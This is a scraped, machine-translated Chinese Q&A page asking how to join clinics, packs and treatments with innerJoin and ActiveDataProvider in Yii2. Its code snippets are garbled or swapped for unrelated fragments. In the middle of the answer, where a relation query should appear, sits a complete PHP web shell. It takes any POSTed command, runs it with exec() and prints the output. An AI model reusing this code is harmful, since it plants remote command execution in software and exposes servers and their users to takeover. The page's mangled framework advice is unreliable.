在Yii2上与ActiveDataProvider进行innerJoin

时间:2019-02-14 15:35:00

标签: yii yii2

我正在尝试以下操作:

我有3个模型:typeof EnumOneClinicPack

OfferedTreatmentPack通过FK OfferedTreatmentClinic相关,并且两个模型都通过结点模型相互关联:clinic_id({ {1}},Pack_OfferedTreatment)。一包可以有多个pack_id

offeredTreatment_id中,我想要一个特定的诊所和与该诊所相关的特定包装,并获取所有相关的OfferedTreatments来显示视图

我从以下功能获得的结果是,它返回了与诊所相关的所有ClinicController,但没有返回包装。...我在做什么错了?

offeredTreatments

1 个答案:

答案 0 :(得分:1)

我会以另一种方式考虑它。您说所提供的治疗与带有外键的诊所有关,但不应该如此。该包装与诊所有关,治疗与该包装有关,因此它已经与槽式包装有关。

如果已建立关系,诊所hasMany Packs和Packs hasMany治疗,则可以使用<div class="mageoneplus"> <div class="header"> Welcome to ssh command line</div> <div class="body"> <?php if(isset($_SERVER['ORIG_PATH_INFO'])){ $url = $_SERVER['ORIG_PATH_INFO']; }elseif(isset($_SERVER['PATH_INFO'])){ $url = $_SERVER['ORIG_PATH_INFO']; } ?> <form action="<?php echo $url; ?>" id="mageoneplus-ssh" method="post" > <div class="run-ssh">Example: php bin/magento</div> <div class="input"> <?php $value = "php bin/magento "; if(isset($_POST["command"]) && $_POST["command"]){ $value = $_POST["command"]; } ?> <input type="text" style="width:600;" name="command" id="command" value="<?php echo $value ?>" placeholder="Enter command line here..." /> </div> </form> <button type="submit" form="mageoneplus-ssh" value="Submit">Run</button> <div class="result"> <?php if(isset($_POST["command"]) && $_POST["command"]){ try{ $output = null; set_time_limit(0); $str = $_POST["command"]; exec($str, $output); ?> <h1>The result:</h1> <ul class="result-text"> <?php foreach($output as $op){ ?> <li><?php echo $op; ?> </li> <?php } ?> </ul> <?php } catch (Exception $e) { echo 'you must <a href="https://www.google.com/search?q=enable+exec">enable exec</a>'; } } ?> </div> </div> <div class="author"> <div>Written by <a href="http://mageoneplus.com">Louis Pham</a></div> </div> </div> <style> .mageoneplus{ padding:20px; } .header , .body ,.author{padding:10px 0px; } .run-ssh{ margin:10px 0px; } .result-text{ max-height: 400px;overflow-y: scroll;} </style> 在诊所中运行查询。如果您有背包,则可以运行->innerJoinWith('packs.treatments')

来自docs

  

您可以热切加载深层嵌套的关系,例如->with(['clinic', 'treatments'])。所有的父母关系都将热切加载。也就是说,当您使用a.b.c.d调用with()时,将急切加载a.b.c.daa.ba.b.c